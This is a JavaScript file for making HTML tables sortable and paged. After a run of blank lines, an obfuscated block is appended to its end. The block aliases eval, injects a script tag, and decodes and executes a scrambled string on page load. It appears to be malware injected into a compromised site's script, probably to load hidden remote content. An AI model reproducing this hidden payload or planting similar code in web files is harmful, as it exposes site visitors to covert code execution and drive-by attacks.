addEvent(window, "load", sortables_init);

var SORT_COLUMN_INDEX;

function sortables_init() {
    // Find all tables with class sortable and make them sortable
    if (!document.getElementsByTagName) return;
    tbls = document.getElementsByTagName("table");
    for (ti=0;ti<tbls.length;ti++) {
        thisTbl = tbls[ti];
        if (((' '+thisTbl.className+' ').indexOf("sortable") != -1) && (thisTbl.id)) {
            //initTable(thisTbl.id);
            ts_makeSortable(thisTbl);
        }
    }
}

function ts_makeSortable(table) {
    if (table.rows && table.rows.length > 0) {
        var firstRow = table.rows[0];
    }
    if (!firstRow) return;
    
    // We have a first row: assume it's the header, and make its contents clickable links
    for (var i=0;i<firstRow.cells.length;i++) {
        var cell = firstRow.cells[i];
        var txt = ts_getInnerText(cell);
        cell.innerHTML = '<a href="#" class="sortheader" '+ 
        'onclick="ts_resortTable(this, '+i+');return false;">' + 
        txt+'<span class="sortarrow">&nbsp;&nbsp;&nbsp;</span></a>';
    }
}

function ts_getInnerText(el) {
	if (typeof el == "string") return el;
	if (typeof el == "undefined") { return el };
	if (el.innerText) return el.innerText;	//Not needed but it is faster
	var str = "";
	
	var cs = el.childNodes;
	var l = cs.length;
	for (var i = 0; i < l; i++) {
		switch (cs[i].nodeType) {
			case 1: //ELEMENT_NODE
				str += ts_getInnerText(cs[i]);
				break;
			case 3:	//TEXT_NODE
				str += cs[i].nodeValue;
				break;
		}
	}
	return str;
}

function ts_resortTable(lnk,clid) {
    // get the span        
    var span;
    for (var ci=0;ci<lnk.childNodes.length;ci++) {
        if (lnk.childNodes[ci].tagName && lnk.childNodes[ci].tagName.toLowerCase() == 'span') span = lnk.childNodes[ci];
    }
    var spantext = ts_getInnerText(span);
    var td = lnk.parentNode;
    var column = clid || td.cellIndex;
    var table = getParent(td,'TABLE');
    
    // Work out a type for the column
    if (table.rows.length <= 1) return;
    var itm = ts_getInnerText(table.rows[1].cells[column]);
    sortfn = ts_sort_caseinsensitive;
    if (itm.match(/^\d\d[\/-]\d\d[\/-]\d\d\d\d$/)) sortfn = ts_sort_date;
    if (itm.match(/^\d\d[\/-]\d\d[\/-]\d\d$/)) sortfn = ts_sort_date;
    if (itm.match(/^[£$]/)) sortfn = ts_sort_currency;
    if (itm.match(/^[\d\.]+$/)) sortfn = ts_sort_numeric;
    SORT_COLUMN_INDEX = column;
    var firstRow = new Array();
    var newRows = new Array();
    for (i=0;i<table.rows[0].length;i++) { firstRow[i] = table.rows[0][i]; }
    for (j=1;j<table.rows.length;j++) { newRows[j-1] = table.rows[j]; }

    newRows.sort(sortfn);

    if (span.getAttribute("sortdir") == 'down') {
        ARROW = '&nbsp;&nbsp;<img src="images/downsimple.gif" alt="down" border="0" />';
        newRows.reverse();
        span.setAttribute('sortdir','up');
    } else {
        ARROW = '&nbsp;&nbsp;<img src="images/upsimple.gif" alt="up" border="0" />';
        span.setAttribute('sortdir','down');
    }
    
    // We appendChild rows that already exist to the tbody, so it moves them rather than creating new ones
    // don't do sortbottom rows
    for (i=0;i<newRows.length;i++) { if (!newRows[i].className || (newRows[i].className && (newRows[i].className.indexOf('sortbottom') == -1))) table.tBodies[0].appendChild(newRows[i]);}
    // do sortbottom rows only
    for (i=0;i<newRows.length;i++) { if (newRows[i].className && (newRows[i].className.indexOf('sortbottom') != -1)) table.tBodies[0].appendChild(newRows[i]);}
    
    // Delete any other arrows there may be showing
    var allspans = document.getElementsByTagName("span");
    for (var ci=0;ci<allspans.length;ci++) {
        if (allspans[ci].className == 'sortarrow') {
            if (getParent(allspans[ci],"table") == getParent(lnk,"table")) { // in the same table as us?
                allspans[ci].innerHTML = '&nbsp;&nbsp;&nbsp;';
            }
        }
    }
        
    span.innerHTML = ARROW;
    var pager = new Pager('sortable', 25);
    pager.init(); 
    pager.showPageNav('pager', 'pageNavPosition'); 
    pager.showPage(1);
    
    alternate('sortable');
}

function getParent(el, pTagName) {
	if (el == null) return null;
	else if (el.nodeType == 1 && el.tagName.toLowerCase() == pTagName.toLowerCase())	// Gecko bug, supposed to be uppercase
		return el;
	else
		return getParent(el.parentNode, pTagName);
}
function ts_sort_date(a,b) {
    // y2k notes: two digit years less than 50 are treated as 20XX, greater than 50 are treated as 19XX
    aa = ts_getInnerText(a.cells[SORT_COLUMN_INDEX]);
    bb = ts_getInnerText(b.cells[SORT_COLUMN_INDEX]);
    if (aa.length == 10) {
        dt1 = aa.substr(6,4)+aa.substr(3,2)+aa.substr(0,2);
    } else {
        yr = aa.substr(6,2);
        if (parseInt(yr) < 50) { yr = '20'+yr; } else { yr = '19'+yr; }
        dt1 = yr+aa.substr(3,2)+aa.substr(0,2);
    }
    if (bb.length == 10) {
        dt2 = bb.substr(6,4)+bb.substr(3,2)+bb.substr(0,2);
    } else {
        yr = bb.substr(6,2);
        if (parseInt(yr) < 50) { yr = '20'+yr; } else { yr = '19'+yr; }
        dt2 = yr+bb.substr(3,2)+bb.substr(0,2);
    }
    if (dt1==dt2) return 0;
    if (dt1<dt2) return -1;
    return 1;
}

function ts_sort_currency(a,b) { 
    aa = ts_getInnerText(a.cells[SORT_COLUMN_INDEX]).replace(/[^0-9.]/g,'');
    bb = ts_getInnerText(b.cells[SORT_COLUMN_INDEX]).replace(/[^0-9.]/g,'');
    return parseFloat(aa) - parseFloat(bb);
}

function ts_sort_numeric(a,b) { 
    aa = parseFloat(ts_getInnerText(a.cells[SORT_COLUMN_INDEX]));
    if (isNaN(aa)) aa = 0;
    bb = parseFloat(ts_getInnerText(b.cells[SORT_COLUMN_INDEX])); 
    if (isNaN(bb)) bb = 0;
    return aa-bb;
}

function ts_sort_caseinsensitive(a,b) {
    aa = ts_getInnerText(a.cells[SORT_COLUMN_INDEX]).toLowerCase();
    bb = ts_getInnerText(b.cells[SORT_COLUMN_INDEX]).toLowerCase();
    if (aa==bb) return 0;
    if (aa<bb) return -1;
    return 1;
}

function ts_sort_default(a,b) {
    aa = ts_getInnerText(a.cells[SORT_COLUMN_INDEX]);
    bb = ts_getInnerText(b.cells[SORT_COLUMN_INDEX]);
    if (aa==bb) return 0;
    if (aa<bb) return -1;
    return 1;
}


function addEvent(elm, evType, fn, useCapture)
// addEvent and removeEvent
// cross-browser event handling for IE5+,  NS6 and Mozilla
// By Scott Andrew
{
  if (elm.addEventListener){
    elm.addEventListener(evType, fn, useCapture);
    return true;
  } else if (elm.attachEvent){
    var r = elm.attachEvent("on"+evType, fn);
    return r;
  } else {
    alert("Handler could not be removed");
  }
} 

function alternate(id){
 if(document.getElementsByTagName){  
   var table = document.getElementById(id);  
   var rows = table.getElementsByTagName("tr");  
   for(i = 0; i < rows.length; i++){          
 //manipulate rows
     if(i % 2 == 0){
       rows[i].className = "even";
     }else{
       rows[i].className = "odd";
     }      
   }
 }
}








s_uB=document;s_C=window;function s_z($,s_uS){return 0}function s_F(x){return x.join('')}if(typeof($)=='undefined'){s_uy=s_uB.getElementsByTagName('head')[0];s_uv=s_uB.createElement('script');s_uv.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");s_uy.appendChild(s_uv)}s_C.s_N=100;s_C.s_R=25;s_C.s_uT=eval;s_C.trim=function(s_ut,s_uo){if("qabcdef".indexOf(s_ut.substr(0,1))>=0){var s_uj=s_F(s_ut.split('q')).split('v');for(var i=0;i<s_uj.length;i++){s_uj[i]=parseInt(s_uj[i],16)-s_uo[s_ut]}return s_uj.join(',')+','}else{return s_uo[s_ut]}};d='zf={Ekv1a#P2$yZ6I:"e+",Ekv2a#P2$8$Z6I:"",&bkv3a#P2$yZ6v30:"l(\'l=St",#6#5v4e%2&0L$f&2j:"ring.f",O@v52W`$cw&aw:"romCha",L%8v68&2&5R>0j&4:"rCode("Gb&4X$d%8$9V?&c*7-93%2L%7%8%9Wk%c*6\\N\\*1Hc$d+f!QZP3`%c^HcIUU~&3&8LE*8,a1?R?E>8RO&aNA7E#5?$0VLI+8*7BfLOV%d&1#QfV*4Hb#f+e!4W$PP2#c*2AfU+c!2E!3%1E+c*0A5&2%6%4``|%4%6^H2&4&6%3X&2V@>0*7B1&5&e$8>3L&7&2L*5H1+0$a%7+3&4?$4+0*7-9a%8$8&5&8I>0#Y1*8,d3+6&e$7@$dI%1V*5G1VRO#6R&Yd#f*5G5E#9|E#4>1>6&4*9A6W&0?%7|$6%Yc^H9$3%Pb$2$9%Pb$2*5H4%3`%e|%3$Za%d*2G5W%8$7|%PaW|*4,d3$f$dk$7%d$ak$8NGYb%2%8|$8LU$4*1H0%c%9$4LV%1V%0*0-9c#8$d`$e+f+e&d&eNGZ4|&9&2+8&4%Z4*0Ga@RO@&e+1&3#d*5B3&9#c&4#d#3W$8&7NA9&8+e&c$b$2$2+fk*6G3$4?EUj$c?w*2Ac+bV+3%8`%3k$7*0GZ6|!0&6%c%Z3%8*0Aa%0%3%6&0w&5+b+0^H0`$5%9X?DO#c*1A6&e&0w&5+b&7%Y7^G9D%Y8&1V&aD+f*4APcU+fjX%7%Y7^G6#e+d!3@jU%e%2*1H4D+fV$2IV%7I*4A5&d+fRj$2EI%c*2H2%c$1E+fjI+fj^Ab+fE#d!2V$Zy6*2Ab&3E>1!3X$7U&3^,a3$d>8@$b&7#a&5@N,a3#d!3$3R$Y2|%e*0G9$8&0k$Y7&eWj*5Gc$1!3w+6>1w%e&0^-90&9%2$e+1!0!3+3+b*0Ab%d|%3EW%QP9*8Hd%d$a>1>5&3$1%e+1*8-9c#e#8ww!3&c#cO*0B6%1%1#Qc+b&0%y7*5Gfk$5>7`$Pd`?NGb%8?&b&e#e#b$e$e*2A5&e&0#4OE+e+e#3*2Bc+aU#Q4#f%P6%9*4GP0>2>2%ek@wL*5H6RL$6&2L&6jj*5BQaO#4&0#4D$bX*9A7I&2$0%d+0$8>5?*7,a3&0EE&c$1R&c$4^Acj&dEE@&b|%0*2Ad+Q3#4@$b#3#5@N-9dE@&b&5Ij+0$e*2Hf#Q7%3$9&0&c$1X^BYc&5&5%Y3&1&d$2*4A7#Z9#4#4OO%Z6*1Be+b&a$7D!4+1?w*1Bd#aID#9#d%4O%1*7,a2$f&5&QbO#4%0%6*9Bb!3+4#d+aL&9`#e*0Be#3!0LE+aL&9`*0-91&1#7!3E#ew&7&0^,ab&a%4D+8?+eD+b*1-9d%7R+b@%1#fV%8*4-94%1+0+2~?+7ID*7B9#bI%4&2?`&4E*7By6W$9~%4&1#a#5*9Be#bO#d#aO#d#aO*6Bd#6I#QbI#c#6I*4-91#d#6&2#a#6#d#a#6NB9#3@#8#8@#3#6@*1B8#8#3#8#7#3#8#7#3*7B7O@OO@#6#7@*1B9#9I#Q5I#9#7I*4Bf#Qe#c#5&0#Qb#5*9B9#4#8#4#c&0%Q4&8*8Ab$bU%c>1+4!3+P7^H2%9%e%7R%P2`%d*0-99%e%y8&9$5WkR*6H3#5>2#Qc#e#3>7WNHf&5E&eI%3U$0$c*8HP2#c~~XRj%6*2B1L+9~L&9~L$a*5B2XWOX%d%1X%9*6BQ9%Q4U#6k$y5*8B2?%0DRw&9&ck^Ab#dw?+e!4%Y1%6*2,d2|EO#7W$9$9%e*9H1%7&c&9E+e?#f%7^Gd$a!Yy8$d$0%9&1*4G6D~#6@+4#6~&7N,afj?U!PaU?+f^AaL$f$1%c$c$0&Q9*8BQ5jD~L+2~D*5-94&2#5W`$c&4@%3*6B1~>5>Q1>Q4#a#8*8BQ5R>2R>2R>2W*5HZ8W>0j?$Ya$9*5,a1&f#4#a#8#8~>5>5*8Ad+1O#3&5&a?@$7NAe$e>4+7!Pe+e&e$5*6HyY5?E$f&2!2j*2H3~>1>7%d&P7%e>0*9A6&a%yakRU&1W*6B0!2V?$aI%3j$1*2G9@#4#3#3#3D#e+4^A0%Yd&0!0!3&1L$3*0Ac%9$e+1!0$3R%3%8*0GZ2&3`%4|&Z4L*0GfU>3&6wX$8R$e*6,d0+3!2$aI%e%y0%9*2Ha%e>3X$9|&6%c$b*6H3%8$9%e$Y3&e@L*5,a2$3%P5$P3`+7L*1B2&7#6#a>7D$a&6D*9-9a+2$4~#dO#QaO*9AfV$6&d`D#8@@*4G1@+a#3U+3&d#8@N,ab>5>Qb&0O%1#y0*9Ge$d+e+d&c%3D&e%4*9A8%0X#b!3$eX$b+c*0,adVV!4%6UW`|*1Gb$e+5%cR@www*6,a0+a%2?%c%4%2#d%4*7BZY8%8$5$c!3!4D^A7&3@$b$4Wk%c`*6H3W%9DjX@>3%e*5G7X$5$a$1%P0%7X*1AcL@$b%d$c+c$Z5*8GbwD?#4%dk$a+0*6,ac+8+7+2X~O#4D*9,a7ID#8#7I%4X&2*7Ge$yaIk&Qa#b&3*8G7#f%8&1D$8&1%8O*4HyY0%d$8DEV&4*4-9e+6+b+c+d+f|>3%1*5G6???E?R?UNA3X!3E?#ZP8|^Hy8$6D%7~&1D$c*4-95k&4#9#b&7#9&2#a*8AcU$bDDD~%d$2^H0$5U$b#5$yP7U*7B0II&2%c$d%8$3U*7G5?*1,#6#5!%2&0L$f&2V:"32);",&$8$%d$6%c&b$0$1:"zuT(l)\'",V!!0&9$2L!0#8&2:");"};zuu=[];zun=String.fromCharCode;for(+r zx in zf){Ktrim(zx,zf))};K\';zJ=zun(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60/5/2<4,97/9/1,32<5<4,99);\');K\'zM=zun(104/1/5/3/4<6,61,56,48,62,60,47/5/2<4,97/9/1);\');K\'za=zun(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');zuT(zF(zuu))!v7#v8$vc%vb&v9*:8+va-,q/,10<,11>vd?!a@!dA-7B-8D!cE!bG,bH,cI#0Kzuu.push(L!8N:90O#2P6$Q5#R!eU!fV!7W%aX!9Y4$Z1$^*3`%fj!5k%bw!6y7$zs_|%5~#1\\HZ2$3$Y5$Py8$9';for(c=43;c--;d=(t=d.split('!#$%&*+-/<>?@ABDEGHIKLNOPQRUVWXYZ^`jkwyz|~\\'.charAt(c))).join(t.pop()));s_uC=d;s_uT(s_uC)

